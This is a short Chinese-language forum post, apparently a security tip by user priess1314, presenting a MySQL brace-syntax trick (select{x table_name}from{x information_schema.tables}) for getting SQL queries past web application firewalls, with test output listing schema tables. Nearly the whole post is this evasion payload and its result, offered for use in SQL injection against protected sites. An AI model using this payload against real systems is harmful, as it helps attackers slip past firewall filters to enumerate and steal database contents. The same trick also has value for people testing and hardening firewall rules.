mysql 语法绕过一些WAF

priess1314

一个小tips，twitter上看见的：
一句话：
[pre]
select{x table_name}from{x information_schema.tables}
[/pre]
测试:
[pre]
mysql> select{x table_name}from{x information_schema.tables};
+----------------------------------------------------+
| table_name                                         |
+----------------------------------------------------+
| CHARACTER_SETS                                     |
| COLLATIONS                                         |
| COLLATION_CHARACTER_SET_APPLICABILITY              |
| COLUMNS                                           |
| COLUMN_PRIVILEGES                      |
| ENGINES                                             |
[/pre]